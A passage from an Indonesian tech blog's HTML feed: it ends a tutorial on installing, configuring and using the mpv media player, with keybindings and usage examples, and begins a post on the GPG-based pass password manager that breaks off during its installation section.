&lt;/ol&gt;&lt;p&gt;Selain itu, &lt;code&gt;mpv&lt;/code&gt; juga &lt;em&gt;support&lt;/em&gt; banyak file format, seperti mp4, mkv, mp3, dan masih yang lainnya.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Jadi, jelas, meskipun terdapat media player lain yang juga open source, seperti VLC misalnya, tapi, &lt;code&gt;mpv&lt;/code&gt; tetap menjadi MVP bagi saya, karena unggul di poin ketiga di atas, hehe.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Merujuk pada definisi official di website-nya, &lt;code&gt;mpv&lt;/code&gt; dijelaskan sebagai berikut:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;“&lt;code&gt;mpv&lt;/code&gt; is a free (as in freedom) media player for the command line. It supports a wide variety of media file formats, audio and video codecs, and subtitle types.”&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;mpv&lt;/code&gt; di beberapa sistem operasi Linux:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install mpv&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy mpv&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install mpv&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install mpv&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;nix&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;mpv&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mpv&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Repo Github resmi &lt;code&gt;mpv&lt;/code&gt; dapat dikunjungi di sini:&lt;/p&gt;&lt;a href=&quot;https://github.com/mpv-player/mpv&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;mpv-player&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;mpv&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Configuration&lt;a href=&quot;#configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Lokasi file konfigurasi &lt;code&gt;mpv&lt;/code&gt; ada di: &lt;code&gt;~/.config/mpv/mpv.conf&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Sebetulnya, ada banyak hal yang dapat kita konfigurasi, tentu disesuaikan dengan preferensi masing-masing. Misalnya, kita dapat mengatur OSC (On Screen Controller), &lt;em&gt;subtitle&lt;/em&gt;, font, window size, bahkan pengaturan untuk menggunakan &lt;code&gt;yt-dlp&lt;/code&gt; juga, dan masih banyak lagi. Dokumentasi ini dapat ditemukan di internet, tentu saja di website resmi &lt;code&gt;mpv&lt;/code&gt;:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;“&lt;a href=&quot;https://mpv.io/manual/master/&quot; target=&quot;_blank&quot;&gt;https://mpv.io/manual/master/&lt;/a&gt;”&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;a href=&quot;/posts/tech/yt-dlp/&quot;&gt;&lt;div&gt;&lt;div&gt;A Feature Rich Command Line Audio/Video Downloader: YT-DLP&lt;/div&gt;&lt;div&gt;A small yet powerful utility for downloading videos from popular stream sites.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2024-06-23&lt;/span&gt;&lt;span&gt;yt-dlp&lt;/span&gt;&lt;span&gt;&lt;span&gt;#yt-dlp&lt;/span&gt;&lt;span&gt;#video&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;338&quot; src=&quot;/_astro/featured.DPXeRZz-_Z2dLz6U.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Saya sendiri hanya sedikit menggunakan konfigurasi untuk &lt;code&gt;mpv&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;script-opts-append&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;osc-visibility&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;always&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;autofit-larger&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;70%x70%&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;border&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;loop-file&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;inf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# loop-playlist = inf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;keep-open&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;save-position-on-quit&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;script-opts-append=osc-visibility=always&lt;/code&gt;: memastikan agar OSC selalu tampak.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;autofit-larger=70%x70%&lt;/code&gt;: membuka jendela &lt;code&gt;mpv&lt;/code&gt; pertama kali dengan ukuran 70%.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;border=yes&lt;/code&gt;: mengaktifkan border jendela.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;loop-file = inf&lt;/code&gt;: kembali memutar file jika sudah selesai.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;loop-playlist = inf&lt;/code&gt;: kembali ke file awal jika playlist selesai diputar.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;keep-open&lt;/code&gt;: jendela &lt;code&gt;mpv&lt;/code&gt; tidak tertutup jika file selesai diputar.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;save-position-on-quit=yes&lt;/code&gt;: mengingat posisi terakhir video ketika file ditutup.&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Keybinding&lt;a href=&quot;#keybinding&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;em&gt;Keybinding&lt;/em&gt; adalah &lt;em&gt;shortcut&lt;/em&gt; yang dapat kita gunakan hanya melalui keyboard di komputer untuk &lt;code&gt;mpv&lt;/code&gt;. Beberapa &lt;em&gt;keybinding&lt;/em&gt; yang biasa saya gunakan adalah sebagai berikut:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;











































































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Keybinding&lt;/th&gt;&lt;th&gt;Keterangan&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;p / Space&lt;/td&gt;&lt;td&gt;Pause/Start&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;q&lt;/td&gt;&lt;td&gt;Quit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;s&lt;/td&gt;&lt;td&gt;Screenshot&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;Del&lt;/td&gt;&lt;td&gt;Toggle OSC&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;9&lt;/td&gt;&lt;td&gt;Volume Down&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;Volume Up&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;m&lt;/td&gt;&lt;td&gt;Mute&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;f&lt;/td&gt;&lt;td&gt;Fullscreen&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9&lt;/td&gt;&lt;td&gt;i&lt;/td&gt;&lt;td&gt;Show Info&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;j&lt;/td&gt;&lt;td&gt;Choose Subtitle&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11&lt;/td&gt;&lt;td&gt;v&lt;/td&gt;&lt;td&gt;Toggle Show/Hide Subtitle&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;12&lt;/td&gt;&lt;td&gt;r&lt;/td&gt;&lt;td&gt;Subtitle Up&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;13&lt;/td&gt;&lt;td&gt;R&lt;/td&gt;&lt;td&gt;Subtitle Down&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;14&lt;/td&gt;&lt;td&gt;o&lt;/td&gt;&lt;td&gt;Show Progress&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;15&lt;/td&gt;&lt;td&gt;{&lt;/td&gt;&lt;td&gt;Speed -1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;16&lt;/td&gt;&lt;td&gt;}&lt;/td&gt;&lt;td&gt;Speed +1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;17&lt;/td&gt;&lt;td&gt;→&lt;/td&gt;&lt;td&gt;Seek 5&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;18&lt;/td&gt;&lt;td&gt;←&lt;/td&gt;&lt;td&gt;Seek -5&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;19&lt;/td&gt;&lt;td&gt;↑&lt;/td&gt;&lt;td&gt;Seek 60&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;20&lt;/td&gt;&lt;td&gt;↓&lt;/td&gt;&lt;td&gt;Seek -60&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;21&lt;/td&gt;&lt;td&gt;g-m&lt;/td&gt;&lt;td&gt;Show menu&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;22&lt;/td&gt;&lt;td&gt;Alt++&lt;/td&gt;&lt;td&gt;Zoom In&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;23&lt;/td&gt;&lt;td&gt;Alt+-&lt;/td&gt;&lt;td&gt;Zoom Out&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;24&lt;/td&gt;&lt;td&gt;Alt+0&lt;/td&gt;&lt;td&gt;Set Window Scale 0.5&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;25&lt;/td&gt;&lt;td&gt;Alt+1&lt;/td&gt;&lt;td&gt;Set Window Scale 1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;26&lt;/td&gt;&lt;td&gt;Alt+2&lt;/td&gt;&lt;td&gt;Set Window Scale 2&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Berikut contoh penggunaan &lt;code&gt;keybind&lt;/code&gt;-nya:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Untuk menampilkan keyboard keystroke, saya menggunakan &lt;code&gt;screenkey&lt;/code&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah beberapa contoh cara menggunakan &lt;code&gt;mpv&lt;/code&gt;:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Memutar video / audio&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Normalnya, penggunaan &lt;code&gt;mpv&lt;/code&gt; dari terminal sangat sederhana, yaitu dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;video.mp4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Memutar video Youtube&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Jika ingin, kita juga dapat menonton video Youtube dengan &lt;code&gt;mpv&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://www.youtube.com/watch?v=udDIkl6z8X0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Memutar video dengan &lt;em&gt;subtitle&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Jika kita ingin memutar video dengan subtitle terpisah, maka gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;video.mp4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--sub-file=subtitle.srt&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mpv.io/&quot; target=&quot;_blank&quot;&gt;https://mpv.io/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mpv.io/manual/master/&quot; target=&quot;_blank&quot;&gt;https://mpv.io/manual/master/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bandithijo.dev/blog/mpv-bukan-video-player-biasa&quot; target=&quot;_blank&quot;&gt;https://bandithijo.dev/blog/mpv-bukan-video-player-biasa&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>A Standard Unix Password Manager: Pass</title><link>https://shangdi.github.io/posts/tech/pass/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/pass/</guid><description>Password management should be simple and follow Unix philosophy. With pass, each password lives inside of a gpg encrypted file.</description><pubDate>Sun, 22 Jun 2025 09:55:16 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Introduction&lt;a href=&quot;#introduction&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt; adalah &lt;em&gt;tool&lt;/em&gt; &lt;em&gt;password manager&lt;/em&gt; di Linux yang dikembangkan menggunakan GPG (&lt;em&gt;GNU Privacy Guard&lt;/em&gt;).&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; GPG sendiri merupakan &lt;em&gt;utility&lt;/em&gt; di Linux yang biasa digunakan oleh sistem operasi dalam melakukan proses enkripsi dan menandatangani data dan komunikasi yang terjadi, seperti misalnya ketika pengguna Linux sedang meng-&lt;em&gt;install&lt;/em&gt; paket tertentu.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Oleh karena itu, biasanya, paket GPG (&lt;strong&gt;&lt;code&gt;gnupg&lt;/code&gt;&lt;/strong&gt;) sudah tersedia secara default di sistem operasi.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;~/.password-storess1&quot; loading=&quot;lazy&quot; width=&quot;816&quot; height=&quot;490&quot; src=&quot;/_astro/ss1.DtcE6KE-_Z5o6ym.webp&quot; /&gt;&lt;figcaption&gt;~/.password-storess1&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt; menyimpan file &lt;em&gt;password&lt;/em&gt; yang terenskripsi di direktori home (&lt;code&gt;~/.password-store&lt;/code&gt;) seperti yang terlihat pada gambar di atas. Jika kita pergi ke direktori tersebut, tentu saja kita bisa melihat nama sub-direktori berikut dengan nama file-nya juga. Akan tetapi, isi dari file tersebutlah yang tidak dapat dibaca karena sudah terenkripsi. Perhatikan juga bahwa file yang tersimpan di direktori tersebut memiliki ekstensi &lt;code&gt;.gpg&lt;/code&gt;. Itu artinya, seperti yang baru saja saya sampaikan, file-file tersebut dienkripsi menggunakan GPG.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;the content of encrypted file on ~/.password-store directory&quot; loading=&quot;lazy&quot; width=&quot;816&quot; height=&quot;490&quot; src=&quot;/_astro/ss2.BICW-PBQ_Z1TRaiL.webp&quot; /&gt;&lt;figcaption&gt;the content of encrypted file on ~/.password-store directory&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt; sendiri adalah &lt;em&gt;software&lt;/em&gt; yang dikembangkan dengan lisensi &lt;em&gt;open source&lt;/em&gt; dan gratis. Bahkan, kita dapat menemukan &lt;em&gt;project repository official&lt;/em&gt;-nya di tautan di bawah ini.&lt;/p&gt;&lt;a href=&quot;https://github.com/zx2c4/password-store&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;zx2c4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;password-store&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Nah, di artikel ini, kita akan belajar cara mengelola &lt;em&gt;password&lt;/em&gt; dengan salah satu &lt;em&gt;password manager&lt;/em&gt; terbaik di Linux, yaitu &lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt; di beberapa Linux populer:&lt;/p&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install pass&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy pass&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install pass&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Opensuse&lt;/strong&gt; tidak menyediakan paket &lt;code&gt;pass&lt;/code&gt; sehingga untuk meng-install-nya kita dapat merujuk pada repository Github-nya untuk meng-compile-nya sendiri.&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
